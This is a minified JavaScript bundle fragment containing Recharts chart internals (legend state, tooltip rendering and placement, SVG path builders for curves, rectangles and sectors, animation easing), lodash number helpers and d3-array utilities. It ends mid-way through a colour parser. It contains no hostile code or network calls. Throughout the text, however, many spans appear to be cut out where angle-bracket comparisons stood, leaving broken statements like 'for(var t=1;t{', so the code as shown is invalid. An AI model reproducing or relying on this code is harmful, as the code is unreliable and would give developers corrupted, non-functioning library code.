vM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ok=nn({name:"legend",initialState:vM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=Yn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:nH,setLegendSettings:rH,addLegendPayload:Tk,replaceLegendPayload:Mk,removeLegendPayload:Lk}=Ok.actions,gM=Ok.reducer;function ah(){return ah=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},k=(l?Pd(s,l):s).map((z,S)=>{if(z.type==="none")return null;var O=z.formatter||o||jM,{value:A,name:T}=z,P=A,D=T;if(O){var G=O(A,T,z,S,s);if(Array.isArray(G))[P,D]=G;else if(G!=null)P=G;else return null}var R=Fs(Fs({},Na.itemStyle),{},{color:z.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:R},Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-name"},D):null,Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},z.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},k)}return null},x=Fs(Fs({},Na.contentStyle),n),g=Fs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ah({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Ws="recharts-tooltip-wrapper",kM={visibility:"hidden"};function zM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Ws,{["".concat(Ws,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Ws,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Ws,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function SM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function CM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Xy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Xy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=SM({translateX:f,translateY:p,useTranslate3d:c})):d=kM,{cssProperties:d,cssClasses:zM({translateX:f,translateY:p,coordinate:n})}}function Zy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=CM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),k=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),z=ql(ql({},k),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:z,ref:y},s)}}var Ik=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),t1=e=>e.base!=null&&bu(e.base)&&bu(e),Us=e=>e.x,Vs=e=>e.y,MM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(sl(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=e1["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return e1[n]||bd},n1={connectNulls:!1,type:"linear"},LM=e=>{var{type:t=n1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=n1.connectNulls}=e,o=MM(t,i),l=s?n.filter(bu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Jy(Jy({},x),{},{base:r[g]}));i==="vertical"?c=Fl().y(Vs).x1(Us).x0(x=>x.base.x):c=Fl().x(Us).y1(Vs).y0(x=>x.base.y);var d=c.defined(t1).curve(o),f=s?u.filter(t1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Fl().y(Vs).x1(Us).x0(r):ge(r)?p=Fl().x(Us).y1(Vs).y0(r):p=Gj().x(Us).y(Vs);var h=p.defined(bu).curve(o);return h(l)},Qa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=ws();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?LM(o):r;return m.createElement("path",oh({},Mr(e),Ix(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},IM=["x","y","top","left","width","height","className"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),VM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=FM(e,IM),u=DM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",lh({},Ut(u),{className:Qe("recharts-cross",l),d:UM(t,n,s,o,r,i)}))};function HM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function i1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Dk=(e,t,n)=>e.map(r=>"".concat(qM(r)," ").concat(t,"ms ").concat(n)).join(","),XM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ko=(e,t)=>Object.keys(t).reduce((n,r)=>a1(a1({},n),{},{[r]:e(r,t[r])}),{});function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;te+(t-e)*n,ch=e=>{var{from:t,to:n}=e;return t!==n},Rk=(e,t,n)=>{var r=Ko((i,s)=>{if(ch(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ko((i,s)=>ch(s)&&r[i]!=null?ht(ht({},s),{},{velocity:wu(s.velocity,r[i].velocity,n),from:wu(s.from,r[i].from,n)}):s,t):Rk(e,r,n-1)};function e8(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ko((p,h)=>h.from,l),u=()=>!Object.values(l).filter(ch).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Rk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function t8(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ko((g,y)=>wu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ko((g,y)=>wu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const n8=(e,t,n,r,i,s)=>{var o=XM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?e8(e,t,n,o,i,s):t8(e,t,n,r,o,i,s)};var ju=1e-4,$k=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Bk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),o1=(e,t)=>n=>{var r=$k(e,t);return Bk(r,n)},r8=(e,t)=>n=>{var r=$k(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Bk(i,n)},i8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},a8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=o1(e,n),s=o1(t,r),o=r8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return l1(e);case"spring":return o8();default:if(e.split("(")[0]==="cubic-bezier")return l1(e)}return typeof e=="function"?e:null};function c8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class u8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function d8(){return c8(new u8)}var f8=m.createContext(d8);function m8(e,t){var n=m.useContext(f8);return m.useMemo(()=>t??n(e),[e,t,n])}var p8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Gd={isSsr:p8()},h8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},c1={t:0},pm={t:1};function Yd(e){var t=gn(e,h8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Gd.isSsr:n,f=m8(t.animationId,t.animationManager),[p,h]=m.useState(d?c1:pm),x=m.useRef(null);return m.useEffect(()=>{d||h(pm)},[d]),m.useEffect(()=>{if(!d||!r)return bs;var g=n8(c1,pm,l8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef($o(t)),r=m.useRef(e);return r.current!==e&&(n.current=$o(t),r.current=e),n.current}var x8=["radius"],v8=["radius"],u1,d1,f1,m1,p1,h1,x1,v1,g1,y1;function b1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(u1||(u1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(d1||(d1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(f1||(f1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(m1||(m1=tr(["A ",",",",0,0,",`, + `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(p1||(p1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(h1||(h1=tr(["A ",",",",0,0,",`, + `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(x1||(x1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(v1||(v1=tr(["A ",",",",0,0,",`, + `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(g1||(g1=tr(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(y1||(y1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},k1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Fk=e=>{var t=gn(e,k1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var _=n.current.getTotalLength();_&&i(_)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,O=j1(z,x8);return m.createElement("path",Nu({},O,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:N1(s,o,l,c,u)}))}var A=y.current,T=v.current,P=b.current,D=w.current,G="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),K=Dk(["strokeDasharray"],p,typeof f=="string"?f:k1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},_=>{var M=At(A,l,_),F=At(T,c,_),U=At(P,s,_),V=At(D,o,_);n.current&&(y.current=M,v.current=F,b.current=U,w.current=V);var Z;x?_>0?Z={transition:K,strokeDasharray:R}:Z={strokeDasharray:G}:Z={strokeDasharray:R};var ae=Ut(t),{radius:ue}=ae,be=j1(ae,v8);return m.createElement("path",Nu({},be,{radius:typeof u=="number"?u:void 0,className:k,d:N1(U,V,M,F,u),ref:n,style:w1(w1({},Z),t.style)}))})};function z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function S1(e){for(var t=1;te*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-ku*r)*n,y:t+Math.sin(-ku*r)*n}),Wk=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},S8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},C8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=S8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:z8(c),angleInRadian:c}},P8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},E8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},_8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=C8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=P8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?S1(S1({},t),{},{radius:i,angle:E8(d,t)}):null};function Uk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var C1,P1,E1,_1,A1,O1,T1;function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=qt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Xl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/ku,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*ku),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Vk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=A8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(C1||(C1=Yi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(P1||(P1=Yi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(E1||(E1=Yi(["L ",","," Z"])),t,n);return f},O8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=qt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Xl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Xl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(_1||(_1=Yi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),p.x,p.y,s,s,s*2,s,s,-s*2):Vk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(A1||(A1=Yi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Xl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Xl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(O<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(O1||(O1=Yi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(O>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(T1||(T1=Yi(["L",",","Z"])),t,n);return b},T8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Hk=e=>{var t=gn(e,T8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=O8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Vk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",uh({},Ut(t),{className:p,d:g}))};function M8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(uN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Uk(t)}}var Kk={},Gk={},Yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gx,n=Gk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function I8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function i0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===I8?e:D8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function D8(){return 0}function Xk(e){return e===null?NaN:+e}function*R8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const $8=i0(wi),fl=$8.right;i0(Xk).center;class M1 extends Map{constructor(t,n=W8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(L1(this,t))}has(t){return super.has(L1(this,t))}set(t,n){return super.set(B8(this,t),n)}delete(t){return super.delete(F8(this,t))}}function L1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function B8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function F8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function W8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function U8(e=wi){if(e===wi)return Zk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function Zk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const V8=Math.sqrt(50),H8=Math.sqrt(10),K8=Math.sqrt(2);function zu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=V8?10:s>=H8?5:s>=K8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function D1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Qk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?Zk:U8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Qk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Hs(e,n,t),i(e[r],s)>0&&Hs(e,n,r);o0;)--l}i(e[n],s)===0?Hs(e,n,l):(++l,Hs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Hs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function G8(e,t,n){if(e=Float64Array.from(R8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return D1(e);if(t>=1)return I1(e);var r,i=(r-1)*t,s=Math.floor(i),o=I1(Qk(e,s).subarray(0,s+1)),l=D1(e.subarray(s+1));return o+(l-o)*(i-s)}}function Y8(e,t,n=Xk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function q8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Zl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Zl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Q8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=J8.exec(e))?new 